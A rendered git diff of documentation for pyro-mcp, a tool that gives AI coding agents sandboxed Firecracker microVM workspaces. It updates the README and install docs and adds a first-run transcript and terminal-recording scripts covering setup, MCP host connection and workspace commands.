[run] environment=debian:12 execution_mode=guest_vsock exit_code=0 duration_ms=...
|
||||
git version ...
|
||||
```
|
||||
|
||||
The first pull downloads an OCI environment from public Docker Hub, requires
|
||||
outbound HTTPS access to `registry-1.docker.io`, and needs local cache space
|
||||
for the guest image. `pyro prepare debian:12` performs that install step
|
||||
automatically, then proves create, exec, reset, and delete on one throwaway
|
||||
workspace so the daily loop is warm before the chat host connects.
|
||||
|
||||
## Chat Host Quickstart
|
||||
|
||||
After the quickstart works, make the daily loop explicit before you connect the
|
||||
chat host:
|
||||
|
||||
```bash
|
||||
uvx --from pyro-mcp pyro doctor --environment debian:12
|
||||
uvx --from pyro-mcp pyro prepare debian:12
|
||||
```
|
||||
|
||||
Then connect a chat host in one named mode. Use the helper flow first:
|
||||
|
||||
```bash
|
||||
uvx --from pyro-mcp pyro host connect codex --mode repro-fix
|
||||
uvx --from pyro-mcp pyro host connect codex --mode inspect
|
||||
uvx --from pyro-mcp pyro host connect claude-code --mode cold-start
|
||||
uvx --from pyro-mcp pyro host connect claude-code --mode review-eval
|
||||
uvx --from pyro-mcp pyro host print-config opencode --mode repro-fix
|
||||
```
|
||||
|
||||
If setup drifts or you want to inspect it first:
|
||||
|
||||
```bash
|
||||
uvx --from pyro-mcp pyro host doctor
|
||||
uvx --from pyro-mcp pyro host repair claude-code
|
||||
uvx --from pyro-mcp pyro host repair codex
|
||||
uvx --from pyro-mcp pyro host repair opencode
|
||||
```
|
||||
|
||||
Those helpers wrap the same `pyro mcp serve` entrypoint. Use a named mode when
|
||||
one workflow already matches the job. Fall back to the generic no-mode path
|
||||
when the mode feels too narrow.
|
||||
|
||||
Mode examples:
|
||||
|
||||
```bash
|
||||
uvx --from pyro-mcp pyro mcp serve --mode repro-fix
|
||||
uvx --from pyro-mcp pyro mcp serve --mode inspect
|
||||
uvx --from pyro-mcp pyro mcp serve --mode cold-start
|
||||
uvx --from pyro-mcp pyro mcp serve --mode review-eval
|
||||
```
|
||||
|
||||
Generic escape hatch:
|
||||
|
||||
```bash
|
||||
uvx --from pyro-mcp pyro mcp serve
|
||||
```
|
||||
|
||||
Installed package path:
|
||||
From a repo root, the generic path auto-detects the current Git checkout and
|
||||
lets the first `workspace_create` omit `seed_path`. If the host does not
|
||||
preserve the server working directory, use:
|
||||
|
||||
```bash
|
||||
pyro mcp serve
|
||||
uvx --from pyro-mcp pyro host connect codex --project-path /abs/path/to/repo
|
||||
uvx --from pyro-mcp pyro mcp serve --project-path /abs/path/to/repo
|
||||
```
|
||||
|
||||
The public user-facing interface is `pyro` and `Pyro`.
|
||||
`Makefile` targets are contributor conveniences for this repository and are not the primary product UX.
|
||||
If you are starting outside a local checkout, use a clean clone source:
|
||||
|
||||
```bash
|
||||
uvx --from pyro-mcp pyro host connect codex --repo-url https://github.com/example/project.git
|
||||
uvx --from pyro-mcp pyro mcp serve --repo-url https://github.com/example/project.git
|
||||
```
|
||||
|
||||
Copy-paste host-specific starts:
|
||||
|
||||
- Claude Code: [examples/claude_code_mcp.md](examples/claude_code_mcp.md)
|
||||
- Codex: [examples/codex_mcp.md](examples/codex_mcp.md)
|
||||
- OpenCode: [examples/opencode_mcp_config.json](examples/opencode_mcp_config.json)
|
||||
- Generic MCP config: [examples/mcp_client_config.md](examples/mcp_client_config.md)
|
||||
|
||||
Claude Code cold-start or review-eval:
|
||||
|
||||
```bash
|
||||
claude mcp add pyro -- uvx --from pyro-mcp pyro mcp serve --mode cold-start
|
||||
```
|
||||
|
||||
Codex repro-fix or inspect:
|
||||
|
||||
```bash
|
||||
codex mcp add pyro -- uvx --from pyro-mcp pyro mcp serve --mode repro-fix
|
||||
```
|
||||
|
||||
OpenCode `opencode.json` snippet:
|
||||
|
||||
```json
|
||||
{
|
||||
"mcp": {
|
||||
"pyro": {
|
||||
"type": "local",
|
||||
"enabled": true,
|
||||
"command": ["uvx", "--from", "pyro-mcp", "pyro", "mcp", "serve", "--mode", "repro-fix"]
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
If OpenCode launches the server from an unexpected cwd, use
|
||||
`pyro host print-config opencode --project-path /abs/path/to/repo` or add
|
||||
`"--project-path", "/abs/path/to/repo"` after `"serve"` in the same command
|
||||
array.
|
||||
|
||||
If `pyro-mcp` is already installed, replace `uvx --from pyro-mcp pyro` with
|
||||
`pyro` in the same command or config shape.
|
||||
|
||||
Use the generic no-mode path when the named mode feels too narrow. Move to
|
||||
`--profile workspace-full` only when the chat truly needs shells, services,
|
||||
snapshots, secrets, network policy, or disk tools.
|
||||
|
||||
## Zero To Hero
|
||||
|
||||
1. Validate the host with `pyro doctor`.
|
||||
2. Warm the machine-level daily loop with `pyro prepare debian:12`.
|
||||
3. Prove guest execution with `pyro run debian:12 -- git --version`.
|
||||
4. Connect Claude Code, Codex, or OpenCode with one named mode such as
|
||||
`pyro host connect codex --mode repro-fix`, then fall back to raw
|
||||
`pyro mcp serve --mode ...` or the generic no-mode path when needed.
|
||||
5. Start with one recipe from [docs/use-cases/README.md](docs/use-cases/README.md).
|
||||
`repro-fix` is the shortest chat-first mode and story.
|
||||
6. Use `workspace reset` as the normal retry step inside that warmed loop.
|
||||
7. Use `make smoke-use-cases` as the trustworthy guest-backed verification path
|
||||
for the advertised workflows.
|
||||
|
||||
That is the intended user journey. The terminal commands exist to validate and
|
||||
debug that chat-host path, not to replace it as the main product story.
|
||||
|
||||
## Manual Terminal Workspace Flow
|
||||
|
||||
If you want to understand what the agent gets inside the sandbox, or debug a
|
||||
recipe outside the chat host, use the terminal companion flow below:
|
||||
|
||||
```bash
|
||||
uv tool install pyro-mcp
|
||||
WORKSPACE_ID="$(pyro workspace create debian:12 --seed-path ./repo --name repro-fix --label issue=123 --id-only)"
|
||||
pyro workspace list
|
||||
pyro workspace sync push "$WORKSPACE_ID" ./changes
|
||||
pyro workspace file read "$WORKSPACE_ID" note.txt --content-only
|
||||
pyro workspace patch apply "$WORKSPACE_ID" --patch-file fix.patch
|
||||
pyro workspace exec "$WORKSPACE_ID" -- cat note.txt
|
||||
pyro workspace summary "$WORKSPACE_ID"
|
||||
pyro workspace snapshot create "$WORKSPACE_ID" checkpoint
|
||||
pyro workspace reset "$WORKSPACE_ID" --snapshot checkpoint
|
||||
pyro workspace export "$WORKSPACE_ID" note.txt --output ./note.txt
|
||||
pyro workspace delete "$WORKSPACE_ID"
|
||||
```
|
||||
|
||||
Add `workspace-full` only when the chat or your manual debugging loop really
|
||||
needs:
|
||||
|
||||
- persistent PTY shells
|
||||
- long-running services and readiness probes
|
||||
- guest networking and published ports
|
||||
- secrets
|
||||
- stopped-workspace disk inspection
|
||||
|
||||
The five recipe docs show when those capabilities are justified:
|
||||
[docs/use-cases/README.md](docs/use-cases/README.md)
|
||||
|
||||
## Official Environments
|
||||
|
||||
|
|
@ -41,145 +259,10 @@ Current official environments in the shipped catalog:
|
|||
- `debian:12-base`
|
||||
- `debian:12-build`
|
||||
|
||||
The package ships the embedded Firecracker runtime and a package-controlled environment catalog.
|
||||
Official environments are pulled as OCI artifacts from public Docker Hub repositories into a local
|
||||
cache on first use or through `pyro env pull`.
|
||||
End users do not need registry credentials to pull or run official environments.
|
||||
|
||||
## CLI
|
||||
|
||||
List available environments:
|
||||
|
||||
```bash
|
||||
pyro env list
|
||||
```
|
||||
|
||||
Prefetch one environment:
|
||||
|
||||
```bash
|
||||
pyro env pull debian:12
|
||||
```
|
||||
|
||||
Run one command in an ephemeral VM:
|
||||
|
||||
```bash
|
||||
pyro run debian:12 --vcpu-count 1 --mem-mib 1024 -- git --version
|
||||
```
|
||||
|
||||
Run with outbound internet enabled:
|
||||
|
||||
```bash
|
||||
pyro run debian:12 --vcpu-count 1 --mem-mib 1024 --network -- \
|
||||
"git clone --depth 1 https://github.com/octocat/Hello-World.git hello-world && git -C hello-world rev-parse --is-inside-work-tree"
|
||||
```
|
||||
|
||||
Show runtime and host diagnostics:
|
||||
|
||||
```bash
|
||||
pyro doctor
|
||||
```
|
||||
|
||||
Run the deterministic demo:
|
||||
|
||||
```bash
|
||||
pyro demo
|
||||
pyro demo --network
|
||||
```
|
||||
|
||||
Run the Ollama demo:
|
||||
|
||||
```bash
|
||||
ollama serve
|
||||
ollama pull llama3.2:3b
|
||||
pyro demo ollama
|
||||
```
|
||||
|
||||
## Python SDK
|
||||
|
||||
```python
|
||||
from pyro_mcp import Pyro
|
||||
|
||||
pyro = Pyro()
|
||||
result = pyro.run_in_vm(
|
||||
environment="debian:12",
|
||||
command="git --version",
|
||||
vcpu_count=1,
|
||||
mem_mib=1024,
|
||||
timeout_seconds=30,
|
||||
network=False,
|
||||
)
|
||||
print(result["stdout"])
|
||||
```
|
||||
|
||||
Lower-level lifecycle control remains available:
|
||||
|
||||
```python
|
||||
from pyro_mcp import Pyro
|
||||
|
||||
pyro = Pyro()
|
||||
created = pyro.create_vm(
|
||||
environment="debian:12",
|
||||
vcpu_count=1,
|
||||
mem_mib=1024,
|
||||
ttl_seconds=600,
|
||||
network=True,
|
||||
)
|
||||
vm_id = created["vm_id"]
|
||||
pyro.start_vm(vm_id)
|
||||
result = pyro.exec_vm(vm_id, command="git --version", timeout_seconds=30)
|
||||
print(result["stdout"])
|
||||
```
|
||||
|
||||
Environment management is also available through the SDK:
|
||||
|
||||
```python
|
||||
from pyro_mcp import Pyro
|
||||
|
||||
pyro = Pyro()
|
||||
print(pyro.list_environments())
|
||||
print(pyro.inspect_environment("debian:12"))
|
||||
```
|
||||
|
||||
## MCP Tools
|
||||
|
||||
Primary agent-facing tool:
|
||||
|
||||
- `vm_run(environment, command, vcpu_count, mem_mib, timeout_seconds=30, ttl_seconds=600, network=false)`
|
||||
|
||||
Advanced lifecycle tools:
|
||||
|
||||
- `vm_list_environments()`
|
||||
- `vm_create(environment, vcpu_count, mem_mib, ttl_seconds=600, network=false)`
|
||||
- `vm_start(vm_id)`
|
||||
- `vm_exec(vm_id, command, timeout_seconds=30)`
|
||||
- `vm_stop(vm_id)`
|
||||
- `vm_delete(vm_id)`
|
||||
- `vm_status(vm_id)`
|
||||
- `vm_network_info(vm_id)`
|
||||
- `vm_reap_expired()`
|
||||
|
||||
## Integration Examples
|
||||
|
||||
- Python one-shot SDK example: [examples/python_run.py](examples/python_run.py)
|
||||
- Python lifecycle example: [examples/python_lifecycle.py](examples/python_lifecycle.py)
|
||||
- MCP client config example: [examples/mcp_client_config.md](examples/mcp_client_config.md)
|
||||
- Claude Desktop MCP config: [examples/claude_desktop_mcp_config.json](examples/claude_desktop_mcp_config.json)
|
||||
- Cursor MCP config: [examples/cursor_mcp_config.json](examples/cursor_mcp_config.json)
|
||||
- OpenAI Responses API example: [examples/openai_responses_vm_run.py](examples/openai_responses_vm_run.py)
|
||||
- LangChain wrapper example: [examples/langchain_vm_run.py](examples/langchain_vm_run.py)
|
||||
- Agent-ready `vm_run` example: [examples/agent_vm_run.py](examples/agent_vm_run.py)
|
||||
|
||||
## Runtime
|
||||
|
||||
The package ships an embedded Linux x86_64 runtime payload with:
|
||||
|
||||
- Firecracker
|
||||
- Jailer
|
||||
- guest agent
|
||||
- runtime manifest and diagnostics
|
||||
|
||||
No system Firecracker installation is required.
|
||||
`pyro` installs curated environments into a local cache and reports their status through `pyro env inspect` and `pyro doctor`.
|
||||
The embedded Firecracker runtime ships with the package. Official environments
|
||||
are pulled as OCI artifacts from public Docker Hub into a local cache on first
|
||||
use or through `pyro env pull`. End users do not need registry credentials to
|
||||
pull or run the official environments.
|
||||
|
||||
## Contributor Workflow
|
||||
|
||||
|
|
@ -192,11 +275,14 @@ make check
|
|||
make dist-check
|
||||
```
|
||||
|
||||
Contributor runtime source artifacts are still maintained under `src/pyro_mcp/runtime_bundle/` and `runtime_sources/`.
|
||||
Contributor runtime sources live under `runtime_sources/`. The packaged runtime
|
||||
bundle under `src/pyro_mcp/runtime_bundle/` contains the embedded boot/runtime
|
||||
assets plus manifest metadata. End-user environment installs pull
|
||||
OCI-published environments by default. Use
|
||||
`PYRO_RUNTIME_BUNDLE_DIR=build/runtime_bundle` only when you are explicitly
|
||||
validating a locally built contributor runtime bundle.
|
||||
|
||||
Official environment publication is automated through
|
||||
`.github/workflows/publish-environments.yml`.
|
||||
For a local publish against Docker Hub:
|
||||
Official environment publication is performed locally against Docker Hub:
|
||||
|
||||
```bash
|
||||
export DOCKERHUB_USERNAME='your-dockerhub-username'
|
||||
|
|
@ -205,20 +291,9 @@ make runtime-materialize
|
|||
make runtime-publish-official-environments-oci
|
||||
```
|
||||
|
||||
`make runtime-publish-environment-oci` auto-exports the OCI layout for the selected
|
||||
environment if it is missing.
|
||||
The publisher accepts either `DOCKERHUB_USERNAME` and `DOCKERHUB_TOKEN` or
|
||||
`OCI_REGISTRY_USERNAME` and `OCI_REGISTRY_PASSWORD`.
|
||||
Docker Hub uploads are chunked by default for large rootfs layers; if you need to tune a slow
|
||||
link, use `PYRO_OCI_UPLOAD_TIMEOUT_SECONDS`, `PYRO_OCI_UPLOAD_CHUNK_SIZE_BYTES`, and
|
||||
`PYRO_OCI_REQUEST_TIMEOUT_SECONDS`.
|
||||
|
||||
For a local PyPI publish:
|
||||
|
||||
```bash
|
||||
export TWINE_PASSWORD='pypi-...'
|
||||
make pypi-publish
|
||||
```
|
||||
|
||||
`make pypi-publish` defaults `TWINE_USERNAME` to `__token__`.
|
||||
Set `PYPI_REPOSITORY_URL=https://test.pypi.org/legacy/` to publish to TestPyPI instead.
|
||||
|
|
|
|||
BIN
docs/assets/first-run.gif
Normal file
BIN
docs/assets/first-run.gif
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 2.4 MiB |
44
docs/assets/first-run.tape
Normal file
44
docs/assets/first-run.tape
Normal file
|
|
@ -0,0 +1,44 @@
|
|||
Output docs/assets/first-run.gif
|
||||
|
||||
Require uv
|
||||
|
||||
Set Shell "zsh"
|
||||
Set FontSize 18
|
||||
Set Width 1200
|
||||
Set Height 760
|
||||
Set Theme "Dracula"
|
||||
Set TypingSpeed 35ms
|
||||
Set Padding 24
|
||||
Set WindowBar Colorful
|
||||
|
||||
Hide
|
||||
Type "cd /home/thales/projects/personal/pyro"
|
||||
Enter
|
||||
Type "export UV_CACHE_DIR=.uv-cache"
|
||||
Enter
|
||||
Type "export PYRO_ENVIRONMENT_CACHE_DIR=$(mktemp -d)"
|
||||
Enter
|
||||
Type "uvx --from pyro-mcp pyro --version >/dev/null"
|
||||
Enter
|
||||
Show
|
||||
|
||||
Type "# Check that the host can boot and run guests"
|
||||
Enter
|
||||
Sleep 700ms
|
||||
Type "uvx --from pyro-mcp pyro doctor"
|
||||
Enter
|
||||
Sleep 2200ms
|
||||
|
||||
Type "# Pull the default environment into a fresh local cache"
|
||||
Enter
|
||||
Sleep 700ms
|
||||
Type "uvx --from pyro-mcp pyro env pull debian:12"
|
||||
Enter
|
||||
Sleep 2200ms
|
||||
|
||||
Type "# Run one isolated command inside an ephemeral microVM"
|
||||
Enter
|
||||
Sleep 700ms
|
||||
Type "uvx --from pyro-mcp pyro run debian:12 -- git --version"
|
||||
Enter
|
||||
Sleep 2600ms
|
||||
BIN
docs/assets/workspace-first-run.gif
Normal file
BIN
docs/assets/workspace-first-run.gif
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 3.1 MiB |
104
docs/assets/workspace-first-run.tape
Normal file
104
docs/assets/workspace-first-run.tape
Normal file
|
|
@ -0,0 +1,104 @@
|
|||
Output docs/assets/workspace-first-run.gif
|
||||
|
||||
Require uv
|
||||
Require python3
|
||||
|
||||
Set Shell "zsh"
|
||||
Set FontSize 18
|
||||
Set Width 1480
|
||||
Set Height 900
|
||||
Set Theme "Dracula"
|
||||
Set TypingSpeed 34ms
|
||||
Set Padding 24
|
||||
Set WindowBar Colorful
|
||||
|
||||
Hide
|
||||
Type "cd /home/thales/projects/personal/pyro"
|
||||
Enter
|
||||
Type "setopt interactivecomments"
|
||||
Enter
|
||||
Type "export UV_CACHE_DIR=.uv-cache"
|
||||
Enter
|
||||
Type "export PYRO_ENVIRONMENT_CACHE_DIR=$(mktemp -d)"
|
||||
Enter
|
||||
Type "alias pyro='uv run pyro'"
|
||||
Enter
|
||||
Type "SEED_DIR=$(mktemp -d)"
|
||||
Enter
|
||||
Type "EXPORT_DIR=$(mktemp -d)"
|
||||
Enter
|
||||
Type 'printf "%s\n" "hello from seed" > "$SEED_DIR/note.txt"'
|
||||
Enter
|
||||
Type 'printf "%s\n" "--- a/note.txt" "+++ b/note.txt" "@@ -1 +1 @@" "-hello from seed" "+hello from patch" > "$SEED_DIR/fix.patch"'
|
||||
Enter
|
||||
Type 'printf "%s\n" "temporary drift" > "$SEED_DIR/drift.txt"'
|
||||
Enter
|
||||
Type "pyro env pull debian:12 >/dev/null"
|
||||
Enter
|
||||
Show
|
||||
|
||||
Type "# Create a named workspace from host content"
|
||||
Enter
|
||||
Sleep 700ms
|
||||
Type 'WORKSPACE_ID="$(pyro workspace create debian:12 --seed-path "$SEED_DIR" --name repro-fix --label issue=123 --id-only)"'
|
||||
Enter
|
||||
Sleep 500ms
|
||||
Type 'echo "$WORKSPACE_ID"'
|
||||
Enter
|
||||
Sleep 1600ms
|
||||
|
||||
Type "# Inspect the seeded file, then patch it without shell quoting"
|
||||
Enter
|
||||
Sleep 700ms
|
||||
Type 'pyro workspace file read "$WORKSPACE_ID" note.txt --content-only'
|
||||
Enter
|
||||
Sleep 1400ms
|
||||
Type 'pyro workspace patch apply "$WORKSPACE_ID" --patch-file "$SEED_DIR/fix.patch"'
|
||||
Enter
|
||||
Sleep 1800ms
|
||||
Type 'pyro workspace exec "$WORKSPACE_ID" -- cat note.txt'
|
||||
Enter
|
||||
Sleep 1800ms
|
||||
|
||||
Type "# Capture a checkpoint, then drift away from it"
|
||||
Enter
|
||||
Sleep 700ms
|
||||
Type 'pyro workspace snapshot create "$WORKSPACE_ID" checkpoint'
|
||||
Enter
|
||||
Sleep 1600ms
|
||||
Type 'pyro workspace file write "$WORKSPACE_ID" note.txt --text-file "$SEED_DIR/drift.txt"'
|
||||
Enter
|
||||
Sleep 1800ms
|
||||
Type 'pyro workspace exec "$WORKSPACE_ID" -- cat note.txt'
|
||||
Enter
|
||||
Sleep 1800ms
|
||||
|
||||
Type "# Start one service, then reset the whole sandbox to the checkpoint"
|
||||
Enter
|
||||
Sleep 700ms
|
||||
Type 'pyro workspace service start "$WORKSPACE_ID" web --ready-file .web-ready -- sh -lc "touch .web-ready && while true; do sleep 60; done"'
|
||||
Enter
|
||||
Sleep 2200ms
|
||||
Type 'pyro workspace reset "$WORKSPACE_ID" --snapshot checkpoint'
|
||||
Enter
|
||||
Sleep 2200ms
|
||||
Type 'pyro workspace exec "$WORKSPACE_ID" -- cat note.txt'
|
||||
Enter
|
||||
Sleep 1800ms
|
||||
|
||||
Type "# Export the recovered file back to the host"
|
||||
Enter
|
||||
Sleep 700ms
|
||||
Type 'pyro workspace export "$WORKSPACE_ID" note.txt --output "$EXPORT_DIR/note.txt"'
|
||||
Enter
|
||||
Sleep 1800ms
|
||||
Type 'cat "$EXPORT_DIR/note.txt"'
|
||||
Enter
|
||||
Sleep 1600ms
|
||||
|
||||
Type "# Remove the workspace when the loop is done"
|
||||
Enter
|
||||
Sleep 700ms
|
||||
Type 'pyro workspace delete "$WORKSPACE_ID"'
|
||||
Enter
|
||||
Sleep 2000ms
|
||||
232
docs/first-run.md
Normal file
232
docs/first-run.md
Normal file
|
|
@ -0,0 +1,232 @@
|
|||
# First Run Transcript
|
||||
|
||||
This is the intended evaluator-to-chat-host path for a first successful run on
|
||||
a supported host.
|
||||
|
||||
Copy the commands as-is. Paths and timing values will differ on your machine.
|
||||
The same sequence works with an installed `pyro` binary by dropping the
|
||||
`uvx --from pyro-mcp` prefix. If you are running from a source checkout
|
||||
instead of the published package, replace `pyro` with `uv run pyro`.
|
||||
|
||||
`pyro-mcp` currently has no users. Expect breaking changes while the chat-host
|
||||
path is still being shaped.
|
||||
|
||||
## 1. Verify the host
|
||||
|
||||
```bash
|
||||
$ uvx --from pyro-mcp pyro doctor --environment debian:12
|
||||
Platform: linux-x86_64
|
||||
Runtime: PASS
|
||||
KVM: exists=yes readable=yes writable=yes
|
||||
Environment cache: /home/you/.cache/pyro-mcp/environments
|
||||
Catalog version: 4.5.0
|
||||
Capabilities: vm_boot=yes guest_exec=yes guest_network=yes
|
||||
Networking: tun=yes ip_forward=yes
|
||||
Daily loop: COLD (debian:12)
|
||||
Run: pyro prepare debian:12
|
||||
```
|
||||
|
||||
## 2. Inspect the catalog
|
||||
|
||||
```bash
|
||||
$ uvx --from pyro-mcp pyro env list
|
||||
Catalog version: 4.4.0
|
||||
debian:12 [installed|not installed] Debian 12 environment with Git preinstalled for common agent workflows.
|
||||
debian:12-base [installed|not installed] Minimal Debian 12 environment for shell and core Unix tooling.
|
||||
debian:12-build [installed|not installed] Debian 12 environment with Git and common build tools preinstalled.
|
||||
```
|
||||
|
||||
## 3. Pull the default environment
|
||||
|
||||
The first pull downloads an OCI environment from public Docker Hub, requires
|
||||
outbound HTTPS access to `registry-1.docker.io`, and needs local cache space
|
||||
for the guest image. See [host-requirements.md](host-requirements.md) for the
|
||||
full host requirements.
|
||||
|
||||
```bash
|
||||
$ uvx --from pyro-mcp pyro env pull debian:12
|
||||
[pull] phase=install environment=debian:12
|
||||
[pull] phase=ready environment=debian:12
|
||||
Pulled: debian:12
|
||||
Version: 1.0.0
|
||||
Distribution: debian 12
|
||||
Installed: yes
|
||||
Cache dir: /home/you/.cache/pyro-mcp/environments
|
||||
Default packages: bash, coreutils, git
|
||||
Install dir: /home/you/.cache/pyro-mcp/environments/linux-x86_64/debian_12-1.0.0
|
||||
OCI source: registry-1.docker.io/thalesmaciel/pyro-environment-debian-12:1.0.0
|
||||
```
|
||||
|
||||
## 4. Run one command in a guest
|
||||
|
||||
```bash
|
||||
$ uvx --from pyro-mcp pyro run debian:12 -- git --version
|
||||
[run] phase=create environment=debian:12
|
||||
[run] phase=start vm_id=...
|
||||
[run] phase=execute vm_id=...
|
||||
[run] environment=debian:12 execution_mode=guest_vsock exit_code=0 duration_ms=...
|
||||
git version ...
|
||||
```
|
||||
|
||||
The guest command output and the `[run] ...` summary are written to different
|
||||
streams, so they may appear in either order in terminals or capture tools. Use
|
||||
`--json` if you need a deterministic structured result.
|
||||
|
||||
## 5. Start the MCP server
|
||||
|
||||
Warm the daily loop first so the host is already ready for repeated create and
|
||||
reset cycles:
|
||||
|
||||
```bash
|
||||
$ uvx --from pyro-mcp pyro prepare debian:12
|
||||
Prepare: debian:12
|
||||
Daily loop: WARM
|
||||
Result: prepared network_prepared=no
|
||||
```
|
||||
|
||||
Use a named mode when one workflow already matches the job:
|
||||
|
||||
```bash
|
||||
$ uvx --from pyro-mcp pyro mcp serve --mode repro-fix
|
||||
$ uvx --from pyro-mcp pyro mcp serve --mode inspect
|
||||
$ uvx --from pyro-mcp pyro mcp serve --mode cold-start
|
||||
$ uvx --from pyro-mcp pyro mcp serve --mode review-eval
|
||||
```
|
||||
|
||||
Use the generic no-mode path when the mode feels too narrow. Bare
|
||||
`pyro mcp serve` still starts `workspace-core`. From a repo root, it also
|
||||
auto-detects the current Git checkout so the first `workspace_create` can omit
|
||||
`seed_path`:
|
||||
|
||||
```bash
|
||||
$ uvx --from pyro-mcp pyro mcp serve
|
||||
```
|
||||
|
||||
If the host does not preserve the server working directory:
|
||||
|
||||
```bash
|
||||
$ uvx --from pyro-mcp pyro mcp serve --project-path /abs/path/to/repo
|
||||
```
|
||||
|
||||
If you are outside a local checkout:
|
||||
|
||||
```bash
|
||||
$ uvx --from pyro-mcp pyro mcp serve --repo-url https://github.com/example/project.git
|
||||
```
|
||||
|
||||
## 6. Connect a chat host
|
||||
|
||||
Use the helper flow first:
|
||||
|
||||
```bash
|
||||
$ uvx --from pyro-mcp pyro host connect codex --mode repro-fix
|
||||
$ uvx --from pyro-mcp pyro host connect codex --mode inspect
|
||||
$ uvx --from pyro-mcp pyro host connect claude-code --mode cold-start
|
||||
$ uvx --from pyro-mcp pyro host connect claude-code --mode review-eval
|
||||
$ uvx --from pyro-mcp pyro host print-config opencode --mode repro-fix
|
||||
```
|
||||
|
||||
If setup drifts later:
|
||||
|
||||
```bash
|
||||
$ uvx --from pyro-mcp pyro host doctor
|
||||
$ uvx --from pyro-mcp pyro host repair claude-code
|
||||
$ uvx --from pyro-mcp pyro host repair codex
|
||||
$ uvx --from pyro-mcp pyro host repair opencode
|
||||
```
|
||||
|
||||
Claude Code cold-start or review-eval:
|
||||
|
||||
```bash
|
||||
$ uvx --from pyro-mcp pyro host connect claude-code --mode cold-start
|
||||
$ claude mcp add pyro -- uvx --from pyro-mcp pyro mcp serve --mode cold-start
|
||||
$ claude mcp list
|
||||
```
|
||||
|
||||
Codex repro-fix or inspect:
|
||||
|
||||
```bash
|
||||
$ uvx --from pyro-mcp pyro host connect codex --mode repro-fix
|
||||
$ codex mcp add pyro -- uvx --from pyro-mcp pyro mcp serve --mode repro-fix
|
||||
$ codex mcp list
|
||||
```
|
||||
|
||||
OpenCode uses the local config shape shown in:
|
||||
|
||||
- [opencode_mcp_config.json](../examples/opencode_mcp_config.json)
|
||||
|
||||
Other host-specific references:
|
||||
|
||||
- [claude_code_mcp.md](../examples/claude_code_mcp.md)
|
||||
- [codex_mcp.md](../examples/codex_mcp.md)
|
||||
- [mcp_client_config.md](../examples/mcp_client_config.md)
|
||||
|
||||
## 7. Continue into a real workflow
|
||||
|
||||
Once the host is connected, move to one of the five recipe docs in
|
||||
[use-cases/README.md](use-cases/README.md).
|
||||
|
||||
The shortest chat-first mode and story is:
|
||||
|
||||
- [use-cases/repro-fix-loop.md](use-cases/repro-fix-loop.md)
|
||||
|
||||
If you want terminal-level visibility into what the agent gets, use the manual
|
||||
workspace flow below:
|
||||
|
||||
```bash
|
||||
$ export WORKSPACE_ID="$(uvx --from pyro-mcp pyro workspace create debian:12 --seed-path ./repo --name repro-fix --label issue=123 --id-only)"
|
||||
$ uvx --from pyro-mcp pyro workspace list
|
||||
$ uvx --from pyro-mcp pyro workspace sync push "$WORKSPACE_ID" ./changes
|
||||
$ uvx --from pyro-mcp pyro workspace file read "$WORKSPACE_ID" note.txt --content-only
|
||||
$ uvx --from pyro-mcp pyro workspace patch apply "$WORKSPACE_ID" --patch-file fix.patch
|
||||
$ uvx --from pyro-mcp pyro workspace exec "$WORKSPACE_ID" -- cat note.txt
|
||||
$ uvx --from pyro-mcp pyro workspace summary "$WORKSPACE_ID"
|
||||
$ uvx --from pyro-mcp pyro workspace snapshot create "$WORKSPACE_ID" checkpoint
|
||||
$ uvx --from pyro-mcp pyro workspace reset "$WORKSPACE_ID" --snapshot checkpoint
|
||||
$ uvx --from pyro-mcp pyro workspace export "$WORKSPACE_ID" note.txt --output ./note.txt
|
||||
$ uvx --from pyro-mcp pyro workspace delete "$WORKSPACE_ID"
|
||||
```
|
||||
|
||||
Move to the generic no-mode path when the named mode is too narrow. Move to
|
||||
`--profile workspace-full` only when the chat really needs shells, services,
|
||||
snapshots, secrets, network policy, or disk tools.
|
||||
|
||||
## 8. Trust the smoke pack
|
||||
|
||||
The repo now treats the full smoke pack as the trustworthy guest-backed
|
||||
verification path for the advertised workflows:
|
||||
|
||||
```bash
|
||||
$ make smoke-use-cases
|
||||
```
|
||||
|
||||
That runner creates real guest-backed workspaces, exercises all five documented
|
||||
stories, exports concrete results where relevant, and cleans up on both success
|
||||
and failure.
|
||||
|
||||
For the machine-level warmup plus retry story specifically:
|
||||
|
||||
```bash
|
||||
$ make smoke-daily-loop
|
||||
```
|
||||
|
||||
## 9. Optional one-shot demo
|
||||
|
||||
```bash
|
||||
$ uvx --from pyro-mcp pyro demo
|
||||
{
|
||||
"cleanup": {
|
||||
"deleted": true,
|
||||
"reason": "post_exec_cleanup",
|
||||
"vm_id": "..."
|
||||
},
|
||||
"command": "git --version",
|
||||
"environment": "debian:12",
|
||||
"execution_mode": "guest_vsock",
|
||||
"exit_code": 0,
|
||||
"stdout": "git version ...\n"
|
||||
}
|
||||
```
|
||||
|
||||
`pyro demo` proves the one-shot create/start/exec/delete VM lifecycle works end
|
||||
to end.
|
||||
|
|
@ -25,7 +25,19 @@ The current implementation uses `sudo -n` for host networking commands when a ne
|
|||
pyro doctor
|
||||
```
|
||||
|
||||
Check these fields in the output:
|
||||
In the default human-readable output, check:
|
||||
|
||||
- `Runtime: PASS`
|
||||
- `KVM: exists=yes readable=yes writable=yes`
|
||||
- `Networking: tun=yes ip_forward=yes`
|
||||
|
||||
If you need the raw structured fields instead:
|
||||
|
||||
```bash
|
||||
pyro doctor --json
|
||||
```
|
||||
|
||||
Check:
|
||||
|
||||
- `runtime_ok`
|
||||
- `kvm`
|
||||
|
|
|
|||
292
docs/install.md
292
docs/install.md
|
|
@ -1,56 +1,312 @@
|
|||
# Install
|
||||
|
||||
## Requirements
|
||||
`pyro-mcp` is built for chat-based coding agents on Linux `x86_64` with KVM.
|
||||
This document is intentionally biased toward that path.
|
||||
|
||||
- Linux x86_64 host
|
||||
- Python 3.12+
|
||||
`pyro-mcp` currently has no users. Expect breaking changes while the chat-host
|
||||
flow is still being shaped.
|
||||
|
||||
## Support Matrix
|
||||
|
||||
Supported today:
|
||||
|
||||
- Linux `x86_64`
|
||||
- Python `3.12+`
|
||||
- `uv`
|
||||
- `/dev/kvm`
|
||||
|
||||
If you want outbound guest networking:
|
||||
Optional for outbound guest networking:
|
||||
|
||||
- `ip`
|
||||
- `nft` or `iptables`
|
||||
- privilege to create TAP devices and configure NAT
|
||||
|
||||
## Fastest Start
|
||||
Not supported today:
|
||||
|
||||
Run the MCP server directly from the package without a manual install:
|
||||
- macOS
|
||||
- Windows
|
||||
